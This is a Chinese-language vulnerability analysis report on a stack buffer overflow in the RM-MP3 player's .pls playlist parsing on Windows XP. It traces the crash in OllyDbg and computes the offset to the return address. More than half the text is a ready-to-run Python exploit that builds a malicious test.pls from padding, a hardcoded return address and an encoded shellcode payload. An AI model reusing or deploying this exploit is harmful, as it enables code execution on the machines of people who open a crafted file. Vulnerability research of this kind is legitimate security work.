RM-MP3 pls文件溢出分析报告
测试平台:
Windows xp
测试工具:
OllyDbg
挖掘过程:
1.根据pls格式构造超长文件路径,发现程序异常崩溃
2.查找程序崩溃点:
A.用OD加载主程序,bp GetOpenFileNameA,打开pls文件,开始跟踪
B.通过一系列分析和跟踪,确定最终出现异常的call
C.仔细分析该函数:
1. 该函数分配了0xAA28的变量空间,接着push了0x10字节的寄存器数据。此时,esp距此函数返回地址:0xAA28+0x10=0xAA38字节
2. 在函数读取pls文件里的文件路径时,将从esp+0x30开始保存读取到的文件路径(test.pls里只包含一条文件路径数据):
3. 之后,将esp+0x30处数据复制到esp+0x6634处,此时,若数据过长,将覆盖函数返回地址:
4. 函数执行到最后,将恢复保存的寄存器值及平衡堆栈,此时,返回地址被覆盖:
漏洞分析:
通过跟踪,模拟出该函数主要代码执行过程中的堆栈分布图:
分析:从esp+0x6634开始的超长文件路径将覆盖返回地址。 覆盖到返回地址时,共需要:0xAA38-0x6634+0xB = 0x440F(17423)字节。
漏洞测试:(Python)
import os shellcode=\ "\x90\x90\x90\x90"\ "\x83\xC4\x14\x33\xC9\x8A\x1C"\ "\x0C\x80\xF3\x11\x88\x1C\x0C\x41"\ "\x80\xF9\x87\x75\xF1\xED\x75\xB0"\ "\x21\x11\x11\x11\x9A\x51\x1D\x9A"\ "\x51\x0D\x9A\x11\x9A\x79\x19\x9A"\ "\x54\x2D\x9A\x45\x14\x69\x12\xC4"\ "\x9A\x5B\x09\x9A\x4B\x31\x12\xCC"\ "\x58\x9A\x25\x9A\x12\xE4\xA9\x56"\ "\x74\x65\x41\x28\x17\x64\xE0\xA9"\ "\x63\x7E\x72\x50\x28\x57\x15\x64"\ "\xF6\x9A\x4B\x35\x12\xCC\x77\x9A"\ "\x1D\x5A\x9A\x4B\x0D\x12\xCC\x9A"\ "\x15\x9A\x12\xD4\x9A\xC9\x79\x69"\ "\x74\x72\x11\x79\x46\x78\x7F\x54"\ "\x45\x44\xEE\xC2\x79\x61\x70\x75"\ "\x11\x79\x7F\x7E\x65\x74\x9A\xDD"\ "\x7B\x10\x40\xEE\xC1\x79\x74\x62"\ "\x62\x11\x79\x41\x63\x7E\x72\x79"\ "\x54\x69\x78\x65\x45\x44\xEE\xC2"\ "\x7B\x11\xEE\xC1" file=open('test.pls','wb+') file.write('http://') file.write('A'*17417) file.write('\x7B\x46\x86\x7C') file.write(shellcode) file.close()